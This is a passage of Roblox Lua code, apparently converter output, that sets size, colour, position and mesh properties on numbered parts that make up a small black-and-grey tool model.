  1513. Part123.CFrame = CFrame.new(6.30067396, 1.82944596, -93.5287323, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  1514. Part123.BottomSurface = Enum.SurfaceType.Smooth
  1515. Part123.TopSurface = Enum.SurfaceType.Smooth
  1516. Part123.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1517. Part123.Position = Vector3.new(6.30067396, 1.82944596, -93.5287323)
  1518. Part123.Orientation = Vector3.new(0, -90, 180)
  1519. Part123.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1520. SpecialMesh124.Parent = Part123
  1521. SpecialMesh124.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0363636091)
  1522. SpecialMesh124.MeshType = Enum.MeshType.Wedge
  1523. SpecialMesh124.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0363636091)
  1524. Part125.Parent = Tool0
  1525. Part125.Material = Enum.Material.SmoothPlastic
  1526. Part125.BrickColor = BrickColor.new("Really black")
  1527. Part125.Reflectance = 0.10000000149012
  1528. Part125.Rotation = Vector3.new(0, 90, 0)
  1529. Part125.Anchored = true
  1530. Part125.FormFactor = Enum.FormFactor.Symmetric
  1531. Part125.Size = Vector3.new(1, 1, 1)
  1532. Part125.CFrame = CFrame.new(6.25522184, 1.874933, -93.5287323, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1533. Part125.BottomSurface = Enum.SurfaceType.Smooth
  1534. Part125.TopSurface = Enum.SurfaceType.Smooth
  1535. Part125.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1536. Part125.Position = Vector3.new(6.25522184, 1.874933, -93.5287323)
  1537. Part125.Orientation = Vector3.new(0, 90, 0)
  1538. Part125.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1539. SpecialMesh126.Parent = Part125
  1540. SpecialMesh126.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0363636091)
  1541. SpecialMesh126.MeshType = Enum.MeshType.Wedge
  1542. SpecialMesh126.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0363636091)
  1543. Part127.Parent = Tool0
  1544. Part127.Material = Enum.Material.SmoothPlastic
  1545. Part127.BrickColor = BrickColor.new("Really black")
  1546. Part127.Reflectance = 0.10000000149012
  1547. Part127.Rotation = Vector3.new(-180, 0, -180)
  1548. Part127.Anchored = true
  1549. Part127.FormFactor = Enum.FormFactor.Symmetric
  1550. Part127.Size = Vector3.new(1, 1, 1)
  1551. Part127.CFrame = CFrame.new(6.36203384, 1.65223598, -93.8790741, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1552. Part127.BottomSurface = Enum.SurfaceType.Smooth
  1553. Part127.TopSurface = Enum.SurfaceType.Smooth
  1554. Part127.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1555. Part127.Position = Vector3.new(6.36203384, 1.65223598, -93.8790741)
  1556. Part127.Orientation = Vector3.new(0, 180, 0)
  1557. Part127.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1558. BlockMesh128.Parent = Part127
  1559. BlockMesh128.Scale = Vector3.new(0.0636363402, 0.299999923, 0.890909195)
  1560. BlockMesh128.Scale = Vector3.new(0.0636363402, 0.299999923, 0.890909195)
  1561. Part129.Parent = Tool0
  1562. Part129.Material = Enum.Material.SmoothPlastic
  1563. Part129.BrickColor = BrickColor.new("Really black")
  1564. Part129.Reflectance = 0.20000000298023
  1565. Part129.Rotation = Vector3.new(0, 90, 0)
  1566. Part129.Anchored = true
  1567. Part129.FormFactor = Enum.FormFactor.Symmetric
  1568. Part129.Size = Vector3.new(1, 1, 1)
  1569. Part129.CFrame = CFrame.new(6.36202621, 1.58469296, -93.3751297, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1570. Part129.BottomSurface = Enum.SurfaceType.Smooth
  1571. Part129.TopSurface = Enum.SurfaceType.Smooth
  1572. Part129.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1573. Part129.Position = Vector3.new(6.36202621, 1.58469296, -93.3751297)
  1574. Part129.Orientation = Vector3.new(0, 90, 0)
  1575. Part129.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1576. BlockMesh130.Parent = Part129
  1577. BlockMesh130.Scale = Vector3.new(0.0545454584, 0.0636362582, 0.0818181857)
  1578. BlockMesh130.Scale = Vector3.new(0.0545454584, 0.0636362582, 0.0818181857)
  1579. Part131.Parent = Tool0
  1580. Part131.Material = Enum.Material.SmoothPlastic
  1581. Part131.BrickColor = BrickColor.new("Really black")
  1582. Part131.Rotation = Vector3.new(-180, 0, -180)
  1583. Part131.Anchored = true
  1584. Part131.FormFactor = Enum.FormFactor.Symmetric
  1585. Part131.Size = Vector3.new(1, 1, 1)
  1586. Part131.CFrame = CFrame.new(6.36545515, 1.14713299, -93.8730774, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1587. Part131.BottomSurface = Enum.SurfaceType.Smooth
  1588. Part131.TopSurface = Enum.SurfaceType.Smooth
  1589. Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1590. Part131.Position = Vector3.new(6.36545515, 1.14713299, -93.8730774)
  1591. Part131.Orientation = Vector3.new(0, 180, 0)
  1592. Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1593. SpecialMesh132.Parent = Part131
  1594. SpecialMesh132.Scale = Vector3.new(0.181818128, 0.327272564, 0.200000003)
  1595. SpecialMesh132.Scale = Vector3.new(0.181818128, 0.327272564, 0.200000003)
  1596. Part133.Parent = Tool0
  1597. Part133.Material = Enum.Material.SmoothPlastic
  1598. Part133.BrickColor = BrickColor.new("Really black")
  1599. Part133.Reflectance = 0.20000000298023
  1600. Part133.Rotation = Vector3.new(0, 90, 0)
  1601. Part133.Anchored = true
  1602. Part133.FormFactor = Enum.FormFactor.Symmetric
  1603. Part133.Size = Vector3.new(1, 1, 1)
  1604. Part133.CFrame = CFrame.new(6.36202621, 1.75759399, -93.2842255, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1605. Part133.BottomSurface = Enum.SurfaceType.Smooth
  1606. Part133.TopSurface = Enum.SurfaceType.Smooth
  1607. Part133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1608. Part133.Position = Vector3.new(6.36202621, 1.75759399, -93.2842255)
  1609. Part133.Orientation = Vector3.new(0, 90, 0)
  1610. Part133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1611. BlockMesh134.Parent = Part133
  1612. BlockMesh134.Scale = Vector3.new(0.12727271, 0.045454517, 0.0454545431)
  1613. BlockMesh134.Scale = Vector3.new(0.12727271, 0.045454517, 0.0454545431)
  1614. Part135.Parent = Tool0
  1615. Part135.Material = Enum.Material.SmoothPlastic
  1616. Part135.BrickColor = BrickColor.new("Really black")
  1617. Part135.Reflectance = 0.10000000149012
  1618. Part135.Rotation = Vector3.new(-90, 0, -180)
  1619. Part135.Anchored = true
  1620. Part135.FormFactor = Enum.FormFactor.Symmetric
  1621. Part135.Size = Vector3.new(1, 1, 1)
  1622. Part135.CFrame = CFrame.new(6.45636988, 1.85216999, -93.5185318, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  1623. Part135.BottomSurface = Enum.SurfaceType.Smooth
  1624. Part135.TopSurface = Enum.SurfaceType.Smooth
  1625. Part135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1626. Part135.Position = Vector3.new(6.45636988, 1.85216999, -93.5185318)
  1627. Part135.Orientation = Vector3.new(-90, -180, 0)
  1628. Part135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1629. CylinderMesh136.Parent = Part135
  1630. CylinderMesh136.Scale = Vector3.new(0.0909090936, 0.0454545468, 0.0909090936)
  1631. CylinderMesh136.Scale = Vector3.new(0.0909090936, 0.0454545468, 0.0909090936)
  1632. Part137.Parent = Tool0
  1633. Part137.Material = Enum.Material.SmoothPlastic
  1634. Part137.BrickColor = BrickColor.new("Really black")
  1635. Part137.Reflectance = 0.10000000149012
  1636. Part137.Rotation = Vector3.new(-90, 0, -180)
  1637. Part137.Anchored = true
  1638. Part137.FormFactor = Enum.FormFactor.Symmetric
  1639. Part137.Size = Vector3.new(1, 1, 1)
  1640. Part137.CFrame = CFrame.new(6.29613018, 1.86582398, -93.5287323, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  1641. Part137.BottomSurface = Enum.SurfaceType.Smooth
  1642. Part137.TopSurface = Enum.SurfaceType.Smooth
  1643. Part137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1644. Part137.Position = Vector3.new(6.29613018, 1.86582398, -93.5287323)
  1645. Part137.Orientation = Vector3.new(-90, -180, 0)
  1646. Part137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1647. CylinderMesh138.Parent = Part137
  1648. CylinderMesh138.Scale = Vector3.new(0.0636363626, 0.0272727292, 0.0636363626)
  1649. CylinderMesh138.Scale = Vector3.new(0.0636363626, 0.0272727292, 0.0636363626)
  1650. Part139.Parent = Tool0
  1651. Part139.Material = Enum.Material.SmoothPlastic
  1652. Part139.BrickColor = BrickColor.new("Really black")
  1653. Part139.Reflectance = 0.20000000298023
  1654. Part139.Rotation = Vector3.new(90, 0, -180)
  1655. Part139.Anchored = true
  1656. Part139.FormFactor = Enum.FormFactor.Symmetric
  1657. Part139.Size = Vector3.new(1, 1, 1)
  1658. Part139.CFrame = CFrame.new(6.36203909, 1.65285897, -93.4160385, -1, 0, 0, 0, 8.94069956e-08, -1.0000006, 0, -1.0000006, -8.94069956e-08)
  1659. Part139.BottomSurface = Enum.SurfaceType.Smooth
  1660. Part139.TopSurface = Enum.SurfaceType.Smooth
  1661. Part139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1662. Part139.Position = Vector3.new(6.36203909, 1.65285897, -93.4160385)
  1663. Part139.Orientation = Vector3.new(90, 180, 0)
  1664. Part139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1665. CylinderMesh140.Parent = Part139
  1666. CylinderMesh140.Scale = Vector3.new(0.318181723, 0.0272727292, 0.290909171)
  1667. CylinderMesh140.Scale = Vector3.new(0.318181723, 0.0272727292, 0.290909171)
  1668. Part141.Parent = Tool0
  1669. Part141.Material = Enum.Material.SmoothPlastic
  1670. Part141.BrickColor = BrickColor.new("Really black")
  1671. Part141.Rotation = Vector3.new(-180, 0, -180)
  1672. Part141.Anchored = true
  1673. Part141.FormFactor = Enum.FormFactor.Symmetric
  1674. Part141.Size = Vector3.new(1, 1, 1)
  1675. Part141.CFrame = CFrame.new(6.36544418, 1.47908998, -93.8730774, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1676. Part141.BottomSurface = Enum.SurfaceType.Smooth
  1677. Part141.TopSurface = Enum.SurfaceType.Smooth
  1678. Part141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1679. Part141.Position = Vector3.new(6.36544418, 1.47908998, -93.8730774)
  1680. Part141.Orientation = Vector3.new(0, 180, 0)
  1681. Part141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1682. BlockMesh142.Parent = Part141
  1683. BlockMesh142.Scale = Vector3.new(0.163636357, 0.0818181857, 0.272727251)
  1684. BlockMesh142.Scale = Vector3.new(0.163636357, 0.0818181857, 0.272727251)
  1685. Part143.Parent = Tool0
  1686. Part143.Material = Enum.Material.SmoothPlastic
  1687. Part143.BrickColor = BrickColor.new("Really black")
  1688. Part143.Reflectance = 0.20000000298023
  1689. Part143.Rotation = Vector3.new(0, 90, 0)
  1690. Part143.Anchored = true
  1691. Part143.FormFactor = Enum.FormFactor.Symmetric
  1692. Part143.Size = Vector3.new(1, 1, 1)
  1693. Part143.CFrame = CFrame.new(6.36202621, 1.73941195, -93.3569489, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1694. Part143.BottomSurface = Enum.SurfaceType.Smooth
  1695. Part143.TopSurface = Enum.SurfaceType.Smooth
  1696. Part143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1697. Part143.Position = Vector3.new(6.36202621, 1.73941195, -93.3569489)
  1698. Part143.Orientation = Vector3.new(0, 90, 0)
  1699. Part143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1700. BlockMesh144.Parent = Part143
  1701. BlockMesh144.Scale = Vector3.new(0.0181818195, 0.0818181634, 0.0454545431)
  1702. BlockMesh144.Scale = Vector3.new(0.0181818195, 0.0818181634, 0.0454545431)
  1703. Part145.Parent = Tool0
  1704. Part145.Material = Enum.Material.SmoothPlastic
  1705. Part145.BrickColor = BrickColor.new("Really black")
  1706. Part145.Rotation = Vector3.new(0, -90, 0)
  1707. Part145.Anchored = true
  1708. Part145.FormFactor = Enum.FormFactor.Symmetric
  1709. Part145.Size = Vector3.new(1, 1, 1)
  1710. Part145.CFrame = CFrame.new(6.36545706, 1.85671496, -93.7594299, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1711. Part145.BottomSurface = Enum.SurfaceType.Smooth
  1712. Part145.TopSurface = Enum.SurfaceType.Smooth
  1713. Part145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1714. Part145.Position = Vector3.new(6.36545706, 1.85671496, -93.7594299)
  1715. Part145.Orientation = Vector3.new(0, -90, 0)
  1716. Part145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1717. BlockMesh146.Parent = Part145
  1718. BlockMesh146.Scale = Vector3.new(0.436363578, 0.11818184, 0.181818202)
  1719. BlockMesh146.Scale = Vector3.new(0.436363578, 0.11818184, 0.181818202)
  1720. Part147.Parent = Tool0
  1721. Part147.Material = Enum.Material.SmoothPlastic
  1722. Part147.BrickColor = BrickColor.new("Really black")
  1723. Part147.Rotation = Vector3.new(-180, 0, -180)
  1724. Part147.Anchored = true
  1725. Part147.FormFactor = Enum.FormFactor.Symmetric
  1726. Part147.Size = Vector3.new(1, 1, 1)
  1727. Part147.CFrame = CFrame.new(6.365448, 0.978914976, -93.8730774, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1728. Part147.BottomSurface = Enum.SurfaceType.Smooth
  1729. Part147.TopSurface = Enum.SurfaceType.Smooth
  1730. Part147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1731. Part147.Position = Vector3.new(6.365448, 0.978914976, -93.8730774)
  1732. Part147.Orientation = Vector3.new(0, 180, 0)
  1733. Part147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1734. CylinderMesh148.Parent = Part147
  1735. CylinderMesh148.Scale = Vector3.new(0.181818202, 0.0636363626, 0.181818202)
  1736. CylinderMesh148.Scale = Vector3.new(0.181818202, 0.0636363626, 0.181818202)
  1737. Part149.Parent = Tool0
  1738. Part149.Material = Enum.Material.SmoothPlastic
  1739. Part149.BrickColor = BrickColor.new("Really black")
  1740. Part149.Rotation = Vector3.new(-180, 0, -180)
  1741. Part149.Anchored = true
  1742. Part149.FormFactor = Enum.FormFactor.Symmetric
  1743. Part149.Size = Vector3.new(1, 1, 1)
  1744. Part149.CFrame = CFrame.new(6.365448, 1.27441096, -93.8730774, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1745. Part149.BottomSurface = Enum.SurfaceType.Smooth
  1746. Part149.TopSurface = Enum.SurfaceType.Smooth
  1747. Part149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1748. Part149.Position = Vector3.new(6.365448, 1.27441096, -93.8730774)
  1749. Part149.Orientation = Vector3.new(0, 180, 0)
  1750. Part149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1751. CylinderMesh150.Parent = Part149
  1752. CylinderMesh150.Scale = Vector3.new(0.163636386, 0.418181688, 0.163636386)
  1753. CylinderMesh150.Scale = Vector3.new(0.163636386, 0.418181688, 0.163636386)
  1754. Part151.Parent = Tool0
  1755. Part151.Material = Enum.Material.SmoothPlastic
  1756. Part151.BrickColor = BrickColor.new("Dark stone grey")
  1757. Part151.Reflectance = 0.20000000298023
  1758. Part151.Rotation = Vector3.new(-13.5, 90, 0)
  1759. Part151.Anchored = true
  1760. Part151.FormFactor = Enum.FormFactor.Symmetric
  1761. Part151.Size = Vector3.new(1, 1, 1)
  1762. Part151.CFrame = CFrame.new(6.36091185, 0.769891024, -94.6494522, 5.65824905e-07, 4.10912335e-08, 1, -0.233445242, 0.972369432, -9.21333196e-08, -0.972369432, -0.233445242, -6.03495096e-07)
  1763. Part151.BottomSurface = Enum.SurfaceType.Smooth
  1764. Part151.TopSurface = Enum.SurfaceType.Smooth
  1765. Part151.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1766. Part151.Position = Vector3.new(6.36091185, 0.769891024, -94.6494522)
  1767. Part151.Orientation = Vector3.new(0, 90, -13.5)
  1768. Part151.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1769. BlockMesh152.Parent = Part151
  1770. BlockMesh152.Scale = Vector3.new(0.409090787, 0.163636342, 0.190909088)
  1771. BlockMesh152.Scale = Vector3.new(0.409090787, 0.163636342, 0.190909088)
  1772. Part153.Parent = Tool0
  1773. Part153.Material = Enum.Material.SmoothPlastic
  1774. Part153.BrickColor = BrickColor.new("Dark stone grey")
  1775. Part153.Reflectance = 0.20000000298023
  1776. Part153.Rotation = Vector3.new(-18, 90, 0)
  1777. Part153.Anchored = true
  1778. Part153.FormFactor = Enum.FormFactor.Symmetric
  1779. Part153.Size = Vector3.new(1, 1, 1)
  1780. Part153.CFrame = CFrame.new(6.36091185, 0.630047977, -94.6100159, 1.73500928e-06, 1.77745278e-07, 1, -0.309016526, 0.95105511, -3.67101507e-07, -0.95105511, -0.309016526, -1.74872946e-06)
  1781. Part153.BottomSurface = Enum.SurfaceType.Smooth
  1782. Part153.TopSurface = Enum.SurfaceType.Smooth
  1783. Part153.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1784. Part153.Position = Vector3.new(6.36091185, 0.630047977, -94.6100159)
  1785. Part153.Orientation = Vector3.new(0, 90, -18)
  1786. Part153.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1787. BlockMesh154.Parent = Part153
  1788. BlockMesh154.Scale = Vector3.new(0.409090787, 0.163636342, 0.190909088)
  1789. BlockMesh154.Scale = Vector3.new(0.409090787, 0.163636342, 0.190909088)
  1790. Part155.Parent = Tool0
  1791. Part155.Material = Enum.Material.SmoothPlastic
  1792. Part155.BrickColor = BrickColor.new("Really black")
  1793. Part155.Reflectance = 0.20000000298023
  1794. Part155.Rotation = Vector3.new(-180, 0, 164.25)
  1795. Part155.Anchored = true
  1796. Part155.FormFactor = Enum.FormFactor.Symmetric
  1797. Part155.Size = Vector3.new(1, 1, 1)
  1798. Part155.CFrame = CFrame.new(6.44280577, 1.60489297, -94.7472229, -0.962455213, -0.271440446, 0, -0.271440446, 0.962455213, 0, -0, 0, -1)
  1799. Part155.BottomSurface = Enum.SurfaceType.Smooth
  1800. Part155.TopSurface = Enum.SurfaceType.Smooth
  1801. Part155.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1802. Part155.Position = Vector3.new(6.44280577, 1.60489297, -94.7472229)
  1803. Part155.Orientation = Vector3.new(0, 180, -15.75)
  1804. Part155.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1805. BlockMesh156.Parent = Part155
  1806. BlockMesh156.Scale = Vector3.new(0.0272727292, 0.145454556, 0.536363363)
  1807. BlockMesh156.Scale = Vector3.new(0.0272727292, 0.145454556, 0.536363363)
  1808. Part157.Parent = Tool0
  1809. Part157.Material = Enum.Material.SmoothPlastic
  1810. Part157.BrickColor = BrickColor.new("Really black")
  1811. Part157.Reflectance = 0.20000000298023
  1812. Part157.Rotation = Vector3.new(-180, 0, -180)
  1813. Part157.Anchored = true
  1814. Part157.FormFactor = Enum.FormFactor.Symmetric
  1815. Part157.Size = Vector3.new(1, 1, 1)
  1816. Part157.CFrame = CFrame.new(6.31203318, 1.152071, -94.992691, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1817. Part157.BottomSurface = Enum.SurfaceType.Smooth
  1818. Part157.TopSurface = Enum.SurfaceType.Smooth
  1819. Part157.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1820. Part157.Position = Vector3.new(6.31203318, 1.152071, -94.992691)
  1821. Part157.Orientation = Vector3.new(0, 180, 0)
  1822. Part157.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1823. BlockMesh158.Parent = Part157
  1824. BlockMesh158.Scale = Vector3.new(0.0363636389, 0.0454545394, 0.0454545468)
  1825. BlockMesh158.Scale = Vector3.new(0.0363636389, 0.0454545394, 0.0454545468)
  1826. Part159.Parent = Tool0
  1827. Part159.Material = Enum.Material.SmoothPlastic
  1828. Part159.BrickColor = BrickColor.new("Really black")
  1829. Part159.Reflectance = 0.10000000149012
  1830. Part159.Rotation = Vector3.new(-90, 0, -180)
  1831. Part159.Anchored = true
  1832. Part159.FormFactor = Enum.FormFactor.Symmetric
  1833. Part159.Size = Vector3.new(1, 1, 1)
  1834. Part159.CFrame = CFrame.new(6.45636988, 1.85671496, -94.0003357, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  1835. Part159.BottomSurface = Enum.SurfaceType.Smooth
  1836. Part159.TopSurface = Enum.SurfaceType.Smooth
  1837. Part159.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1838. Part159.Position = Vector3.new(6.45636988, 1.85671496, -94.0003357)
  1839. Part159.Orientation = Vector3.new(-90, -180, 0)
  1840. Part159.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1841. CylinderMesh160.Parent = Part159
  1842. CylinderMesh160.Scale = Vector3.new(0.0909090936, 0.0454545468, 0.100000001)
  1843. CylinderMesh160.Scale = Vector3.new(0.0909090936, 0.0454545468, 0.100000001)
  1844. Part161.Parent = Tool0
  1845. Part161.Material = Enum.Material.SmoothPlastic
  1846. Part161.BrickColor = BrickColor.new("Really black")
  1847. Part161.Reflectance = 0.10000000149012
  1848. Part161.Rotation = Vector3.new(-180, 0, -180)
  1849. Part161.Anchored = true
  1850. Part161.FormFactor = Enum.FormFactor.Symmetric
  1851. Part161.Size = Vector3.new(1, 1, 1)
  1852. Part161.CFrame = CFrame.new(6.36203384, 1.816275, -93.8790741, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1853. Part161.BottomSurface = Enum.SurfaceType.Smooth
  1854. Part161.TopSurface = Enum.SurfaceType.Smooth
  1855. Part161.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1856. Part161.Position = Vector3.new(6.36203384, 1.816275, -93.8790741)
  1857. Part161.Orientation = Vector3.new(0, 180, 0)
  1858. Part161.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1859. BlockMesh162.Parent = Part161
  1860. BlockMesh162.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1861. BlockMesh162.Scale = Vector3.new(0.0999999866, 0.0272727292, 0.890909195)
  1862. Part163.Parent = Tool0
  1863. Part163.Material = Enum.Material.SmoothPlastic
  1864. Part163.BrickColor = BrickColor.new("Really black")
  1865. Part163.Reflectance = 0.10000000149012
  1866. Part163.Rotation = Vector3.new(-90, 22.5, 180)
  1867. Part163.Anchored = true
  1868. Part163.FormFactor = Enum.FormFactor.Symmetric
  1869. Part163.Size = Vector3.new(1, 1, 1)
  1870. Part163.CFrame = CFrame.new(6.47770214, 1.98760498, -94.5736084, -0.923878312, -3.2352105e-08, 0.382682651, 0.382682532, -3.03110532e-08, 0.923878849, -1.82898656e-08, 0.999998569, 4.03843821e-08)
  1871. Part163.BottomSurface = Enum.SurfaceType.Smooth
  1872. Part163.TopSurface = Enum.SurfaceType.Smooth
  1873. Part163.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1874. Part163.Position = Vector3.new(6.47770214, 1.98760498, -94.5736084)
  1875. Part163.Orientation = Vector3.new(-67.5, 90, 90)
  1876. Part163.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1877. SpecialMesh164.Parent = Part163
  1878. SpecialMesh164.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  1879. SpecialMesh164.MeshType = Enum.MeshType.Wedge
  1880. SpecialMesh164.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  1881. Part165.Parent = Tool0
  1882. Part165.Material = Enum.Material.SmoothPlastic
  1883. Part165.BrickColor = BrickColor.new("Really black")
  1884. Part165.Reflectance = 0.20000000298023
  1885. Part165.Rotation = Vector3.new(-180, 0, -166.5)
  1886. Part165.Anchored = true
  1887. Part165.FormFactor = Enum.FormFactor.Symmetric
  1888. Part165.Size = Vector3.new(1, 1, 1)
  1889. Part165.CFrame = CFrame.new(6.31153011, 1.74335301, -94.7472229, -0.972369671, 0.233445346, 0, 0.233445346, 0.972369671, 0, 0, 0, -1)
  1890. Part165.BottomSurface = Enum.SurfaceType.Smooth
  1891. Part165.TopSurface = Enum.SurfaceType.Smooth
  1892. Part165.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1893. Part165.Position = Vector3.new(6.31153011, 1.74335301, -94.7472229)
  1894. Part165.Orientation = Vector3.new(0, 180, 13.5)
  1895. Part165.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1896. BlockMesh166.Parent = Part165
  1897. BlockMesh166.Scale = Vector3.new(0.0272727292, 0.0818181857, 0.536363363)
  1898. BlockMesh166.Scale = Vector3.new(0.0272727292, 0.0818181857, 0.536363363)
  1899. Part167.Parent = Tool0
  1900. Part167.Material = Enum.Material.SmoothPlastic
  1901. Part167.BrickColor = BrickColor.new("Really black")
  1902. Part167.Reflectance = 0.10000000149012
  1903. Part167.Rotation = Vector3.new(-90, 0, 180)
  1904. Part167.Anchored = true
  1905. Part167.FormFactor = Enum.FormFactor.Symmetric
  1906. Part167.Size = Vector3.new(1, 1, 1)
  1907. Part167.CFrame = CFrame.new(6.48710108, 2.03489709, -94.5463409, -0.999998569, -3.50175746e-08, -2.5232751e-07, -5.96046164e-07, -4.37112995e-08, 0.999999046, -3.50175391e-08, 0.999998569, 4.37113137e-08)
  1908. Part167.BottomSurface = Enum.SurfaceType.Smooth
  1909. Part167.TopSurface = Enum.SurfaceType.Smooth
  1910. Part167.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1911. Part167.Position = Vector3.new(6.48710108, 2.03489709, -94.5463409)
  1912. Part167.Orientation = Vector3.new(-89.9199982, -80.1699982, -94.1899948)
  1913. Part167.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1914. SpecialMesh168.Parent = Part167
  1915. SpecialMesh168.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  1916. SpecialMesh168.MeshType = Enum.MeshType.Wedge
  1917. SpecialMesh168.Scale = Vector3.new(0.0272727292, 0.0272727292, 0.0545454584)
  1918. Part169.Parent = Tool0
  1919. Part169.Material = Enum.Material.SmoothPlastic
  1920. Part169.BrickColor = BrickColor.new("Really black")
  1921. Part169.Reflectance = 0.20000000298023
  1922. Part169.Rotation = Vector3.new(-180, 0, -180)
  1923. Part169.Anchored = true
  1924. Part169.FormFactor = Enum.FormFactor.Symmetric
  1925. Part169.Size = Vector3.new(1, 1, 1)
  1926. Part169.CFrame = CFrame.new(6.36203384, 1.51585197, -94.4563293, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1927. Part169.BottomSurface = Enum.SurfaceType.Smooth
  1928. Part169.TopSurface = Enum.SurfaceType.Smooth
  1929. Part169.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1930. Part169.Position = Vector3.new(6.36203384, 1.51585197, -94.4563293)
  1931. Part169.Orientation = Vector3.new(0, 180, 0)
  1932. Part169.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1933. BlockMesh170.Parent = Part169
  1934. BlockMesh170.Scale = Vector3.new(0.227272689, 0.0454545394, 0.0454545394)
  1935. BlockMesh170.Scale = Vector3.new(0.227272689, 0.0454545394, 0.0454545394)
  1936. Part171.Parent = Tool0
  1937. Part171.Material = Enum.Material.SmoothPlastic
  1938. Part171.BrickColor = BrickColor.new("Really black")
  1939. Part171.Reflectance = 0.10000000149012
  1940. Part171.Rotation = Vector3.new(0, 0, -112.5)
  1941. Part171.Anchored = true
  1942. Part171.FormFactor = Enum.FormFactor.Symmetric
  1943. Part171.Size = Vector3.new(1, 1, 1)
  1944. Part171.CFrame = CFrame.new(6.47770214, 1.98760498, -94.6826935, -0.382683277, 0.923879564, -2.1131972e-12, -0.923879564, -0.382683277, -4.37140386e-08, -4.0387313e-08, -1.67266805e-08, 1)
  1945. Part171.BottomSurface = Enum.SurfaceType.Smooth
  1946. Part171.TopSurface = Enum.SurfaceType.Smooth
  1947. Part171.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1948. Part171.Position = Vector3.new(6.47770214, 1.98760498, -94.6826935)
  1949. Part171.Orientation = Vector3.new(0, 0, -112.5)
  1950. Part171.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1951. BlockMesh172.Parent = Part171
  1952. BlockMesh172.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.190909073)
  1953. BlockMesh172.Scale = Vector3.new(0.0545454584, 0.0272727292, 0.190909073)
  1954. Part173.Parent = Tool0
  1955. Part173.Material = Enum.Material.SmoothPlastic
  1956. Part173.BrickColor = BrickColor.new("Really black")
  1957. Part173.Reflectance = 0.10000000149012
  1958. Part173.Rotation = Vector3.new(0, 0, -90)
  1959. Part173.Anchored = true
  1960. Part173.FormFactor = Enum.FormFactor.Symmetric
  1961. Part173.Size = Vector3.new(1, 1, 1)
  1962. Part173.CFrame = CFrame.new(6.48710108, 2.03489709, -94.6690674, 1.78815412e-07, 1, -2.1131972e-12, -1, 1.78815412e-07, -4.37140386e-08, -4.37140386e-08, 2.12101387e-12, 1)
